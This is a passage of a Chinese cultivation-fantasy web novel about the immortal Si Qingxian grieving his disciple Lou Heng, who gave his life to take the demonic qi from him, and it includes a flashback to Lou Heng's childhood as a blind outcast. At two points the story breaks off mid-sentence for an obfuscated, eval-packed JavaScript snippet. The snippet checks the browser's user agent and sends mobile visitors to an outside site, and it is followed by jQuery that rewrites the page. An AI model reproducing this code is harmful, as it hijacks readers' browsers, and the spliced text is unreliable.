迟绪被云晚苓的定身术定在原地,他此刻是一万个后悔,早知道就不让云晚苓出关了,他恨不得将云晚苓捆起来丢回天脊山,这人简直是添乱!
舜之帝君屈指弹了下迟绪的额头,定身术便解开了,他懊恼道:“师父你怎么不拦着她?!”
“哎,随她去吧,你又打不过云晚苓。”
舜之帝君头疼得揉了揉眉心,他这是捅了一个又一个篓子,真不知道带上云晚苓是谁的馊主意。
迟绪听完急得直跺脚,“我打不过她,您总能治住她啊,阿珩现在情况不明,她这是添乱!”
舜之帝君一本正经道:“本君身为帝君,自然是长辈,长辈怎能欺负一个毛丫头?”
迟绪:“…………”
一炷香的时间很快就到了,云晚苓只在结界附近找到了一滩血迹,血迹未干,便只有两种可能,人刚离开不久,又或是已经魂飞魄散。
云晚苓蹲下仔细查看地上的血迹,玉烛烬沾上血之后,剑柄处的玉石一直在闪光,直到云晚苓看清剑柄上玉石的颜色才彻底死心。
她喃喃道:“是青色……”玉烛烬分辨出青色便只有一个答案,是它熟悉的蓬莱中人。
云晚苓险些跌在地上,她显然承受不住这个结果,即便在心中幻想过最坏的结果,当她确认的瞬间还是会止不住心痛,眼泪顺着脸颊滴下来,她怔了许久才伸手凝聚地上的血迹,这是云晚苓第一次使用化血成珠的术法,没想到是用在此处。
一颗深紫色珠子渐渐成形,云晚苓缓缓将珠子握紧,心痛到无法言语,千言万语只化成一句‘阿珩,师姐带你回家。’
世人皆道修仙之人断情绝爱,无论经历何事道心都不会有任何动摇。
众门派最具天赋的云晚苓早就经历过人生八苦的历练,她本该稳住道心,坦然接受楼珩的离开。
可这不是旁人,是与她朝夕共处的小师弟啊。
云晚苓抬手擦去脸上的泪痕,她记得天脊山有一种‘万灵归元’的秘术,倘若她尽快赶回天脊山,说不定还可以重塑阿珩的魂魄。
云晚苓刚想用灵力催动定乾坤,余光瞥到血迹旁边草丛里的一抹白色。
她走近一瞧,是块玉佩,看着倒是眼熟,像是在哪里见过,便没有多想直接捡起玉佩塞进袖兜。
灵力驱动定乾坤后,须臾之间云晚苓就被一团雾气送出了结界。
“阿珩呢?!”迟绪顾不上其他,迎上来焦急地问道:“云师姐,你见到阿珩了吗?”
云晚苓沉默着将定乾坤递到舜之帝君手中,她垂下眼帘,想起在结界中见到的血迹便心如刀绞,她只恨自己去得太晚,低语道:“阿珩已经不在了,结界内没有阿珩,只有一滩血迹……”
所以阿珩真的选择了自尽。
迟绪打断了云晚苓的话,苦笑道:“云师姐,至少阿珩完成了他最想做的事,仙尊的仙体已恢复大半,只要再闭关三年五载就能修复仙根,阿珩应该会开心吧。”
“楼珩最在乎的人就是师尊了。”
云晚苓想到了楼珩历劫成仙的那一夜,他最高兴的不是自己修成仙体,而是终于有资格引魔气入体。
这个傻子从来顾不上自己的安危,不管是之前数次危险的挺身而出看,还是这次师尊魔气侵体,楼珩从来都没有顾及过自己,他在乎的只有他所爱之人。
三人伫立在结界外,相对无言亦不知该如何开口,死寂的气氛压得人说不出话、喘不上气。
舜之帝君率先打破了这份寂静,他拍了拍手里的法器,认真思索道:“先回去吧,你和阿绪劳累了十几日,我呢,还要去趟镜花台,前几日落下了几本上古史册在镜花台偏殿,顺便想想怎么跟司青衔交代。”
一听到师尊的名讳,云晚苓立马想起来一桩要紧的事情。
云晚苓将袖兜里的玉佩掏出来丢到舜之帝君怀里,师尊一旦知道了真相,将会有一场腥风血雨发生,她又不傻,还是回天脊山躲个清静。
她三言两语就将事情交代清楚,
“帝君,这应该是阿珩的玉佩,劳烦您转交给师尊,我暂且回天脊山休息片刻,之前关于门派的血案我会继续调查,我蓬莱弟子有一半失了仙骨,这桩大事本该是掌门定夺,眼下掌门闭关,还请帝君转告我师父,让他即可前往天脊山与我汇合。”
还没等舜之帝君推脱,云晚苓就已经御风离开了,只剩下神情凝重的舜之帝君和没听明白的迟绪。
迟绪摸了摸脑袋,不解道:“师父,云师姐什么意思啊?”
舜之帝君皮笑肉不笑道:“为师要倒霉的意思,司青衔那疯子要是知道这馊主意都是为师出的,为师恐怕性命难保。”
镜花台,孤月高悬九天之上显得各外冷寂,冷风拂过时携带阵阵幽香。
舜之帝君和迟绪坐在凉亭里赏月,帝君端起琉璃盏放在迟绪面前,道:“这是千年雪莲熬的补药,这几日你灵力受损太多,要是再不上心,为师都不知道你何年何月才能修成仙身。”
迟绪无奈的拿起勺子,这补药说是用雪莲熬制却苦得很,他叹了口气,提醒道:“师父,您现在怎么比师兄还唠叨,您还是好好想想怎么跟仙尊交代吧。”
舜之帝君脸上的笑容瞬间消失,这小子越来越招人嫌了,他要是能想出来法子,也用不着在司青衔身上施下安睡咒。
道生一,一生二,二生三,三生万物。
仙根一旦恢复,灵力便会重新凝聚经脉之中,等到灵力流通全身骨髓,仙体便会在须臾间彻底恢复,司渊仙尊本就是三界内最强的上仙,区区一个安睡咒简怎能困得住司青衔。
随着镜花台灵力越来越充盈,司青衔的神识也更加清明。
旭日东升至最高处的瞬间,司青衔缓缓睁开眼眸,映入眼帘的是一抹青色,他抬手摘下遮在眼前的绸带,过了许久才反应过来自己的五感又恢复了。
他看着手腕上早已消散的深紫色魔纹,疑惑道:“怎会如此?魔气侵体已是无解,舜之到底用了什么法子?”
司青衔起身披上一件大氅,他实在想不明白舜之到底如何清除自己身上的魔气,索性去问个清楚。
“今儿的雪莲竟然没炖烂,迟绪这小子厨艺不错啊。”
舜之帝君恰好端着一碗补药推开了寝殿的门,好巧不巧撞上司青衔,他看着彻底清醒的司青衔,一时间悲喜交加,还没等司青衔开口询问,舜之帝君已经把碗递到了司青衔手里,严肃道:“这是熬了两个时辰的补药,你可要趁热喝了。”
司青衔虽然疑惑,但还是将一整碗补药都喝了,他把瓷碗放在紫漆木桌上,低眉理了理衣襟,随口问道:“阿珩呢?”
舜之帝君心里紧绷的弦瞬间断成两截,他用袖子擦了擦额角的汗,斟酌道:“有件事我要先跟你坦白,你身上的魔气彻底消散了,受损的仙根也已经修复,上古魔族残留的魔气不能用仙法神力根除
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799308|175051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,只能转移在另一个人身上,这转移魔气之人……”
他顿了顿,咬着后槽牙吐出几个字,“转移你身上魔气的人是楼珩。”
楼珩?!
这两个字太轻,轻如薄云轻易被吹散,这两个字太重,如巨山压在心头让人喘不过气。
这个答案对司青衔来说太过残忍,比他魔气侵体、命不久矣残忍十倍百倍。
司青衔听到这句话之后只觉心口骤痛,他身形一颤,修长的手紧紧扣住殿门边框,他几乎是用尽全身的力气压抑着心里的悲痛。
过了许久司青衔才缓缓抬眸,哑声道:“阿珩在哪儿?”
“你别激动,你的身子刚恢复。”
舜之帝君见司青衔情绪波动太强,就连周身灵力都几乎控制不住,他很清楚现在的司青衔体内灵力逆转倒涌,再加上这个消息太过突然,恐怕再耽误下去司青衔就会堕仙成魔。
“以本君仙术引东风而来,召天地灵气,现——”
他翻手念诀将一股灵力传入司青衔心脉,虽然只能维持片刻宁静,但对司青衔来说这便足够了。
趁着司青衔的心绪平稳,舜之帝君将事情的前因后果告诉了他。
司青衔捂住心口缓了许久才抬手召唤出一件法器,修长的手抚上法器顶端,掌心淌出的鲜血唤醒了尘封多年的法器,这是当年无极真人留给司青衔的最后一件法器,他今日一定要把楼珩从结界里带出来。
“既然如此,那本尊便破了那道封印,毁了那狗屁结界。”
还没等舜之帝君拦住他,一道强烈的白光闪起,舜之帝君抬袖挡住眼前的白光,待白光消散后,司青衔的身影早就消失了。
舜之帝君早就预想过司青衔的反应,可他万万没想到这厮竟然要去后山破开结界。
他连忙传音让迟绪去拦人,忍不住破口大骂:“司青衔这个疯子,他简直是要毁了蓬莱。”
等舜之帝君赶到后山的时候,司青衔已经耗费了千年修为,以自身精血起阵,灵力不断从阵法中涌出,像是要形成一股强大灵力来冲破封印。
这是上古神族的阵法,一旦破阵,破阵之人就要受到神的诅咒,司渊仙尊就一定会堕仙。
迟绪实在看不下去了,他刚想过去就被舜之帝君拦了下来,他轻飘飘的落下一句,“司青衔破不开这道封印,他的仙体刚恢复,再加上心绪不稳无法使出毕生修为,所以你无须拦他。”
听完师父的话,迟绪讪讪一笑挪开了视线,他从前只觉得楼珩是个蠢的,没成想仙尊也是个疯子,师徒两人真是如出一辙。
正如舜之帝君所言,司青衔的仙体尚未恢复,他体内的灵力支撑不住如此强大的阵法,一道银光冲破半空中的阵法,此阵已破,无法再重新凝聚灵力了。
被阵法反噬的司青衔并没有放弃,他召唤出一品灵器打算硬闯结界,强行破开面前这道神族封印。
舜之帝君见状连忙挡在司青衔面前,他翻手用灵力压制住司青衔的一品灵器,怒道:“司青衔!你不要命了,硬闯结界的下场你不清楚吗?!”
“让开!”
司青衔强行运功将周身灵力都凝聚掌中,他今日定要破开这狗屁封印,蹙眉质问道:“本尊命数已定,你为何要将转移魔气的法子告诉他,舜之,你不会不知道我不愿任何人付出代价,尤其是楼珩。”
舜之帝君自知理亏,他确有私心,但他不后悔把转移魔气的方法告诉楼珩,司青衔想救自己的徒弟,而他也想救自己的挚友。
“你怨我怪我,我无话可说,但你知不知道你现在耗费的灵力是楼珩受了多大的苦难才换回来的,司青衔,就算你不惜代价,但也要珍视这条命。”
“…………”可我不能眼睁睁看着楼珩被困于一方。
司青衔顿了一瞬,但还是越过了舜之帝君,可惜他手中的一品灵器抵不住封印的强大神力。
灵器周身被震出无数细小裂纹,司青衔的右手亦被震出一道极深的血痕,殷红的鲜血顺着灵器滴在地上。
结界上的封印颜色变得更亮,照亮了半座山头,司青衔还想继续施法,突然半空一道白光闪过。
司青衔被一股强大神力镇压了周身全部灵力,仙人之躯怎能忍受神的震怒,他抬手捂住胸口,堵在喉间的血被硬生生压下去。
司青衔垂眸看了一眼仍在往外翻涌灵力的神族封印,他很清楚无论如何都打不开这封印了,自嘲地笑出声,“本尊修仙问道数千年,从未有过贪念恶行,可偏偏老天不开眼,既然命数已定,本尊死便死了,为何要将楼珩永远留在这结界之中?!”
长身玉立的仙人最终昏厥倒地,强行逆转经脉滥用神力乃是违抗天意,可惜天命难违。
司青衔再也不是只身斩杀十万邪祟妖物的玉阙真人,他沦为在红尘中苦苦挣扎的凡夫俗子,在梦中经历一遍又一遍永失所爱,终日囚于愧疚痛苦中不得安眠。
7. 第七章
至于诸抚派和虞山派的血案,云晚苓用了短短十日的时间勘破此案,真凶是叛出虞山派的弟子,名为濮怀玉。
此人是虞山派长老的徒弟,擅长医术和易容。
他曾在三年前疫病时救下一座城的百姓,人人都称他是菩萨心肠的好人。
好人也会变得嗜杀,连同门都能下得去手,这究竟是为何?
“虞山派和诸抚派的结界确实薄弱,但蓬莱山绝不是外人能轻易进去的,濮怀玉至今没能修成仙身,他到底是如何抽取蓬莱半数弟子的仙骨。”
坐在案桌前的云晚苓仔细翻看此案的卷宗,她隐隐觉得此案并不像表面上看到的简单。
但濮怀玉在地牢里被关了数日,受尽折磨也没有吐出半个字。
三十六重天认定此案凶手只有濮怀玉一人,九冥帝君昨日已经将濮怀玉流放西荒,非死不得出西荒半步。
屋门被人轻轻推开,云晟端着一碗鱼汤走进来。
他一看见满桌的卷宗书册就知道云晚苓又是一夜未眠,叹道:“阿姐,你还是不肯放弃寻找起死回生的方法。”
云晚苓垂眸笑了笑,“你又炖鱼汤了。”
云晟俯身抽走了云晚苓手里的册子,然后将碗放在云晚苓面前。
他知道云晚苓心中所想,便开口安慰道:“楼珩这小子以前凡事总要出风头,现在他不在了,蓬莱山也少了诸多乐趣,连我都不愿意再回蓬莱,但阿姐为什么要留在天脊山?”
云晚苓静默了片刻,淡淡开口,“赎罪。”
如果不是为了渡雷劫留在天脊山,师尊和楼珩就不会误入问鼎阁,阴差阳错,一步之失。
赎罪的人不止是云晚苓一人,自楼珩死后,镜花台的雪再也没有融化。
因为长时间的忧思郁结而生出心魔,司青衔开始畏寒,他总是将自己关在楼珩的寝殿里,起初他只是静坐冥想,后来他开始提笔作画。
很快整个寝殿都挂满了画卷,画中少年或是舞剑或是抚琴,每一幅的场景举动都不一样,唯一不变的就是所画之人皆是一人。
舜之帝君提着几壶酒推开了殿门,他还没踏入就被一声嘶哑的呵斥止住了脚步,“出去。”
“司青衔,你到底还要把自己关到什么时候?”
舜之帝君很清楚司青衔的执念太深,所以他在昆仑炼丹阁用帝休、忘忧草、怀梦草酿出了能让人忘忧解愁的‘拂晓醉’。
此酒以旭日命名,拂晓破暗夜,足以让人忘却前尘往事。
他想用此酒让司青衔暂排苦思,不要再强逼自己困在过去。
“本君就知道你是这副德行。”
舜之帝君拿起酒瓶递到司青衔面前,斟酌道:“此酒能让你大梦一场,梦中所见皆是你日夜所思所念,或许你能在梦里见到楼珩。”
听到‘楼珩’二字,司青衔陡地一怔,素白的手不受控制地接过坠着玉葫芦的酒瓶,他敛眸浅笑道:“若是本尊喝下此酒就能见到阿珩了,即便是毒酒本尊也会一饮而尽。”
如果能在梦里见到日夜思念的故人,那他宁愿一辈子都不要醒。
司青衔骨骼分明的手拿起酒瓶就要往嘴边送,舜之帝君及时拦住了他,郑重问道:“司青衔,你当真想好了?”
这拂晓醉的法子舜之帝君连着好几日翻医术才找到的。
虽然只是一场梦,但好歹能让司青衔慢慢疗伤,等时间久了他就能接受楼珩已死的事实。
舜之帝君凝视着司青衔坚定的眼眸,他瞬间明白了司青衔的选择,便松开了桎梏在司青衔肩上的手,不忍道:“司青衔,这只是一场梦,但确实能让你回到最初,但你会在梦境里一遍遍经历楼珩必死的结局。”
“舜之,我只是想再见到他。”仅此而已,别无他求。
司青衔不愿用梦境去逃避,但他更想见到楼珩。
舜之帝君在拂晓醉里加了一味药引,能让人在梦境里见到日思夜想的故人,亦能让人一遍遍重复过去经历过的一切。
楼珩遇到司青衔之前是镇子上东萝村里最普通的一个孩童。
他的娘亲靠卖草药为生,整日跟着村里的村民去山里采山参草药到镇子上卖给药铺或是大户人家。
楼珩的娘亲姜氏与东萝村的其他女人不同。
她即便未施粉黛也依稀能从眉眼间看出是个美人坯子,蛾眉秋眸,浓墨般的青丝用木簪挽在身侧。
举手投足间不像是山村农妇,倒像是知书达理的小姐,因此村里人对姜氏的恶意和猜忌越来越大。
“姓姜的小寡妇今儿又给她儿子买了药,啧啧啧,那个病秧子值得浪费这么多银子?”
“这你就不知道了吧,小寡妇可心疼她那宝贝儿子了,当初难产落下病根,算命先生都说这孩子命不好,她硬是给孩子从鬼门关拽了回来。”
“现在这寡妇都长这么好看了吗?她生成这般模样,竟也成了寡妇,当真是件稀罕事。”
村里的老妇总站在姜氏院外对她评头论足,恨不得从姜氏身上挑出千错万错。
但姜氏性情温和,生得好看,又烧得一手好菜,味道比镇上几家酒楼都要好吃。
姜氏刚来东萝村的时候,楼珩才刚满周岁,姜氏便在收拾好院子的第二日就掏五两银子置办了几桌酒席宴请村里人。
姜氏的孩子姓楼,单字一个弃。
这个孩子是村子里最避讳的存在,因为他并非正常出生的孩子,而是极为罕见的‘棺材子’。
姜氏生子时断气血崩被郎中断定胎死腹中难产身亡,好心的邻里置办了一口棺材。
所有人都没想到,浑身是血的年轻女子竟然活了过来,不出半个时辰就在棺材里诞下一个连哭都哭不出的婴儿。
郎中看着气息微弱的孩子,惊得连话都不会说,他行医多年从未见过‘棺材子’,就连医书上都极少提到‘棺材子’。
楼弃小时候总是发热受寒,姜氏就一整夜一整夜的守在床边,生怕自己阖上眼就会失去这个孩子。
也许是姜氏的慈母柔肠感动了上天,也许是村里大多妇人都经历过孩子夭折。
村子里的流言蜚语渐渐消散,比起议论楼弃的身世和他的母亲是个寡妇,他们更好奇姜氏用了什么法子治好隔壁村的疫病。
姜氏性情良善又是个医术极高的女子,她整日跟着渔民打鱼实在是大材小用,便有几个机灵的出主意让姜氏开家药铺。
起初药铺的生意很好,街坊邻村都知道能治疫病的寡妇开了家药铺,便争先恐后来排队领药看病。
甚至有镇子上的大户人家也慕名前来,镇上的人说话轻声细语,就连诊金也比别人高出许多。
那段时间是楼弃记忆里最快乐的时光,阿娘每日都会给他做茯苓糕,时不时还会给他炖蛋羹和老鸭汤。
楼弃从不喝鱼汤,因为阿娘以前打渔的时候总是很晚才回家,楼弃每一晚都在担心阿娘的安危,所以楼弃怕黑、不喜欢喝鱼汤。
这样平静美好的日子被一场闹剧彻底打破。
某日镇子上的县令带人掀了姜氏药铺,一群乌泱泱的护卫围住了整间药铺,村民们都被护卫拦在屋外不知所措的听着屋内年轻妇人的求救声。
一脸横肉肥膘的县令笑眯眯的迎上来,他摸了摸姜氏的脸,“小娘子,本大爷早就说过你跟了我不愁吃穿,只是你要把这个灾星卖去醉花楼,你现在考虑得怎么样了?”
姜氏那双潋滟清澈的眼眸死死盯着眼前令人作呕的男人,直到楼弃被人推倒摔地上。
姜氏终于有了反应,一巴掌干脆扇在男人脸上,骂道:“你这个混账不要妄想,我绝不会让我的孩子受委屈。”
“不知好歹的东西,来人。”县令一怒之下命人烧一大锅药汤,打算毁了姜氏的姣好容颜。
护卫端着一大锅滚烫的药汤,毫不犹豫直接泼在姜氏身上,他们冷眼旁观着这场闹剧。
“阿娘!”
楼弃弱小的身体突然冲过来挡在姜氏身前,滚烫的药汤全部泼在挡在阿娘面前的孩童脸上。
不,准确来说是上半张脸,因为姜氏用袖子护住了孩童的脸和额头,但可惜没护住孩童的眉眼,皮开肉绽的瞬间让楼弃感受到前所未有的痛苦。
“碍眼的小兔崽子,给我往死里打!”县令恼羞成怒的声音打破了片刻的寂静。
眼尖的人抡着木凳子砸了过去,撕裂闷沉的剧痛之后是殷红的血涌出来。
姜氏不顾护卫的阻拦冲过来把楼弃搂在怀里,她无措的用袖子去擦孩子脸上血迹,鲜血染红了素色的袖子,也伤透了做娘的心。
楼弃清楚的记得,在昏迷之前自己清晰听到娘亲撕心裂肺的呼唤,“阿弃!”
姜氏就此不知所踪,楼弃的眼疾一日比一日严重,他连白天和黑夜都分不清楚,他再也找不到阿娘了。
有人说姜氏被县令带回去养在后宅,有人说姜氏遇到了更好的人就离开了东萝村,也有人说姜氏根本就不是寡妇,她的夫君来接她回家了。
街坊邻居都骂楼弃是扫把星,克死了亲爹又拖累亲娘,现在还来祸害整个村子。
楼弃很快就被赶出东萝村,他分不清方向看不到前路,陪伴他的只有一根竹棍。
不到百米的山路要摔上十几次才能走过去,每日的口粮就是路边野果和嫩草根,偶尔有好心的农户收留楼弃一两日,还会拿出旧衣裳给他穿。
自那一日之后,姜氏再也没有出现过,仿佛这个人从来没有存在过,楼弃只要摸到握着挂在胸前的长命锁,就会想到阿娘以前的一颦一笑。
可他总觉得不真实,这一切都像是一场梦,梦醒人散,只剩下他一人苟且偷生。
有日傍晚,楼弃不慎跌进猎户捕兽的陷阱里,他喊了很久也没有人回应,索性就找了个角落躺下。
躺在坑底的楼弃突然想到了姜氏,要是阿娘真的丢下他去过好日子了,那他希
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799309|175051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
望阿娘能遇到一个极好的人,要比隔壁老李家的叔叔更好。
如果阿娘能遇到比镇上教书先生更宽容的人,那就太好了,阿娘性子软,他总担心她会被旁人欺负。
楼弃以为姜氏离开后自己会恨她,可他翻来覆去睡不着,心里像有块大石头压着,他其实一点都不恨她。
他甚至连恨都不知道是什么,他只是有点想她了。
此刻楼弃待在捕兽的陷阱里竟觉得很安心,坑底铺了厚厚的一层树叶,像是阿娘给他铺的厚被褥,他难得睡了个安稳的觉。
一大早就来收捕兽网的猎户原本想把这小子赶走,但后来实在看不下去走一步跌一次的小瞎子,便上前抓住了楼弃的手,打算将这个累赘先带回家。
他边走边抱怨,怎么能有人几步路走这么墨迹?
楼弃有些受宠若惊,自从娘亲离开这是第一次有人主动伸出援手,果然阿娘说得对,村子里的好人有很多。
猎户住在山脚下的一处木屋里,木屋陈设老旧,屋外用木栅栏圈了一小块地,左边是牛棚和羊圈,右边是一口水井和几根竹竿绑的架子。
由此可见,猎户并不富裕,所以他带小瞎子回家也并不是件好事。
“这小子是东萝村的扫把星,你没听说过他害死了他娘,还给村里带去了疫病,就连渔民都被他害得失足淹死。”
猎户的媳妇恨铁不成钢地踢了一脚坐在长凳上的猎户,她侧首看见在角落里吃得正欢的小瞎子,心里不由得一惊。
这孩子的模样丑陋渗人,让人只觉得晦气。
妇人不耐烦的上前一巴掌打落小瞎子手里的碗,破口大骂道:“你这个害死人的灾星,你给老娘滚出去!”
猎户连忙拦住了发疯的妇人,呵斥道:“你发什么疯?这就是个孩子,等雪停了再让他走。”
妇人冷笑着一把推开猎户,眼珠瞪得快要掉出来,她一把揪住猎户的衣襟,骂道:“你还心疼这灾星,你怎么不心疼心疼你闺女,她染上风寒就快要病死了,你还往家里带个累赘。”
猎户突然想起来自己闺女的病,他缓缓从长凳上滑落,蹲在地上任由妇人打骂推搡。
他原本是要用兽皮给女儿换草药,可他什么都没猎到。
想到这里,猎户下定决心,攥紧衣摆咬着牙说:“我现在就去求王婆子,让她把家里的牛羊都牵走,我一定把年年的病给治好。”
猎户很快就把王婆子请了过来。
这王婆子是镇子上有名的媒婆,手上的银子可有不少,她利钱收得高,压价也压得厉害,但是现下只能求她借些银钱了。
“劳烦您亲自过来,家里还有一头牛,您瞧个价吧。”猎户脸上赔着笑脸,他只求王婆子多给几两碎银子。
“不碍事,老婆子我上了年纪,还得慢慢看。”
王婆子笑嘻嘻的走进院子,她炯炯有神的眼睛没往牛棚里看,而是瞟向缩在羊圈角落里的孩童。
她一眼就看出这孩子命格与旁人不一样,这不巧了吗,踏破铁鞋无觅处,得来全不费功夫。
王婆子掏出几锭银子塞到猎户手里,指着羊圈里的孩童,笑眯眯问道:“这孩子是你家的吗?”
猎户一愣,下意识摇了摇头,“那孩子是我昨日捡来的,等雪停了就要撵他走。”
王婆子脸上的笑容越深,她又从腰间掏出一叠银票,递到猎户面前,放软了声音商量道:“既然不是你家孩子,不如卖给我这老婆子吧。”
猎户还没反应过来,旁边的妇人一把抢过银票,沾着唾沫数了三遍,惊叹道:“一百两?!您这是可怜我们呢!”
这哪里是多给了银子,简直是捡了天大的便宜。
王婆子压低了声音跟这二人解释道:“我老婆子也是给镇上几户当官的人家配过几回冥婚,这孩子命数不好克爹娘,但他是个旺死人的,正巧镇上李家小姐刚殁,她爹要花重金给李小姐配个好夫婿,这小瞎子啊,真是好福气。”
“…………”
猎户虽然良心过不去,但还是把楼弃卖给了王婆子,因为他的闺女久病缠身,再不治就要没命了。
王婆子欢天喜地的把人带回去,听说李家小姐跟小瞎子生辰八字般配得很。
只是不知道出了什么变故,王婆子瘸了一条腿,李府被一场大火烧了个干净,就连当时在场的几位办丧事的都接连出事。
关于小瞎子的谣言说法众多,有人说他化身成白发恶鬼杀了想害他的王婆子和李家人,也有人说小瞎子是地府里爬出来的孤魂,谁招惹了他就会家破人亡不得好死,更有甚者说小瞎子嗜杀成性。
这些话虽是道听途说,却被有心人夸大其词,一传十十传百,小瞎子就成了镇子上最晦气的存在。
说书人将小瞎子的身世编成了话本子上故事。
每日都在茶馆酒肆里说上一遍,总有看客惊叹小瞎子的蹊跷身世,故而说书人也爱将小瞎子挂在嘴边。
8. 第八章
“嘿,您猜这小瞎子是何人?那可是厄运缠身的棺材子,起初还有人不信棺材子的谶言,直到小瞎子把疫病染到东萝村,又害了王婆子和富商李家,后来有位高人贴下符纸,驱走了小瞎子身上的邪祟,但这小瞎子像是杀不死的蛊虫,时至今日还在苟延残喘。”
站在长桌后的说书人猛地一拍桌子,故作玄虚地说道:“后来镇子上的县令请了位老道士,原本以为驱魔镇妖的符咒能震慑住小瞎子身上的邪祟,可万万没想到,这修行四十多年的老道士竟失足落河,活生生溺死在北边的河里。”
店小二嗑着瓜子听说书人讲得正起劲,啧啧叹道:“每日翻来覆去就这么几件事,他也不觉得腻,那小瞎子不是就在后巷,倒是见过几次也没什么特别的啊。”
“那是因为你没见过他被折磨的样子,百般折磨还死不掉,恐怕不是人呦。”
客栈老板站在了店小二身后,他将上好的茶叶递到店小二手里,指了下二楼左厢房的方向,吩咐道:“二楼左厢房里的几位客官一看就是要去不周山求仙问道,咱们小心伺候着,说不定他们将来就是仙家门派的弟子。”
靠在楼梯边上的云晟听完了说书人的故事,一脸困惑地摸了摸脑袋,这故事怎么没头没尾?!
他叫住了准备离开的说书人,“老先生,所以到底是小瞎子被别人救下来,还是小瞎子才是害死了王婆子和李家的罪魁凶手?”
说书人脸上有些挂不住了,他在心底暗自叫苦,这些事都是他听旁人说的,哪里知道事情的来龙去脉,只好讪讪一笑。
“这都是道听途说的,小公子,您就当听个乐呵,我们这些说书的靠这点奇闻趣事行走江湖,这事有真有假,但那小瞎子确实克死了亲娘又把疫病染进村子,就连王婆子和李家人都被他害到如此地步,您说他是不是灾星?”
“这话倒是在理,虽然这故事虚虚实实,但事实不假,如此说来这故事里的小瞎子真是该死。”
云晟虽然不知道事情经过,但听完说书人的话,他倒觉得这说书人说得很有道理,既然是灾星就该死,带来疫病带来灾祸的东西不该残存于世。
站在二楼窗前的云晚苓听到云晟的胡言乱语,端茶的手一顿,淡淡开口,“左不过就是个孩子,能有什么大错,你都多大了,说话还这么不靠谱,也不知道掌门抽什么风,非要你跟着我们出来游历,这一路上没帮到忙还净添乱。”
云晚苓的话精准戳在云晟心上,阿姐每次都言辞犀利伤人于无形。
云晟立马跟被踩了尾巴的小狗一样,一路小跑到隔壁厢房,站在门外扯着嗓子干嚎,“师尊,你看阿姐她又嫌弃我!”
“云晟,你太吵了。”
一道清冷的声音从屋内传出,若是云晟推开门便会隔着一层薄纱珠帘看见软榻上一袭月白长袍的仙人正在小憩。
原本在看热闹的望尘瞧见云晟作死的行为,一口气哽在喉间,他真想问云诸尊者到底是有多想不开才会收这个傻子当关门弟子。
一身鹅黄长袍的少年郎无奈扶额,精准吐槽,“堂堂尊者亲传弟子如此吊儿郎当,真是丢脸。”
“昨日师尊清除瘴气耗费太多灵力,你就别添乱了。”
云晚苓缓步走到云晟身侧,一个眼神就让云晟乖乖闭上了嘴,他瞥了眼紧闭房门的厢房,心知师尊这是不打算管自己的死活了,只好垂着头跟云晚苓回去。
屋内的香炉散出阵阵轻烟,角落里放着一把泛着冷光的破月弓,整个屋子都弥漫着一股沁人心脾的荼蘼淡香。
由此可见房内这位仙人喜好清静,就连法器都是不染尘埃的模样,像是九天悬挂的孤月,正映了书中所写‘清夜无尘,月色如银’。
“咕咕——”
不知从哪儿冒出一只通体雪白的小肥鸟叽叽喳喳着冲向屏风后的软榻。
它站在枕头边歪着脑袋盯着沉睡的司青衔看了好一会儿,终于忍不住上前用嘴去啄男人的脸,叽叽喳喳骂道:日上三竿了,你怎么还不醒?
“绿豆,你又饿了?”
司青衔显然是因被吵醒而烦躁,他长眉微蹙,缓了好一会儿才伸手摸了摸小肥鸟的脑袋,嗤笑道:“你是不是最近又胖了?”
小肥鸟愣住了:??
没事就逗一逗这小蠢鸟,真有意思。
司青衔忽略了绿豆叽叽喳喳的抗议声,起身从床边矮桌上端起一杯冷茶,喝了大半才觉得清醒。
他先是打开东面的窗户,又挑了个能看景的位置坐下,骨节分明的手掐了掐眉心,叹道:“这次没能收服饕餮,始终是个麻烦。”
饕餮自三百年前就销声匿迹,上个月它竟出现在人间还闯了大祸。
司青衔奉掌门师兄的命令将饕餮逐出人间,在收服此凶兽的紧要关头出了岔子。
司青衔的一品灵器不知为何突然失去灵气,饕餮因此落荒而逃。
司青衔百思不得其解,掌门师兄便让他出山散散心,奈何这一路上没一件顺心的事也就罢了,还多了个聒噪的云晟,几乎都没睡个安稳觉。
他此刻深感后悔带上云晟这个叽叽喳喳的家伙,一路上好像有说不完的话,还能跟说书人辩驳几句,当真是无所事事闲得慌了。
司青衔瞥了眼铜镜中的面容,清隽的脸上多了点瑕疵,狭长的瑞凤眼下有团乌青,像是被人打了一拳。
他默默在心里给云晟记上一笔,偶然想到云晟口中该死的小瞎子,倒是生出几分兴趣。
人人唾弃的天降灾星,众人口中的‘杀人放火、无恶不作的祸害’到底长什么样子?
“师尊,午饭准备好了,您要不要跟我们一起吃啊?”门外又传来聒噪的声音,不用想就知道是云晟那小子。
“…………”
司青衔只觉得头疼得更厉害了,他掐指使了个修整术将凌乱的头发和压出褶皱的外袍整理得一丝不苟,就连木簪也换成了长流苏的玉簪,全然一副高不可攀的精致模样。
“这才像个做长辈的样子,不然师兄又要说本尊不成体统。”司青衔满意的点点头,术法高还是有用的。
只是镜中人的神色略显疲惫,不过应该看不出来,倒不是司青衔注重容貌,毕竟是为人师表总要得体,不好在小辈面前失态。
拾阶而下的司青衔余光瞥见客栈大门外有个拄拐的孩童。
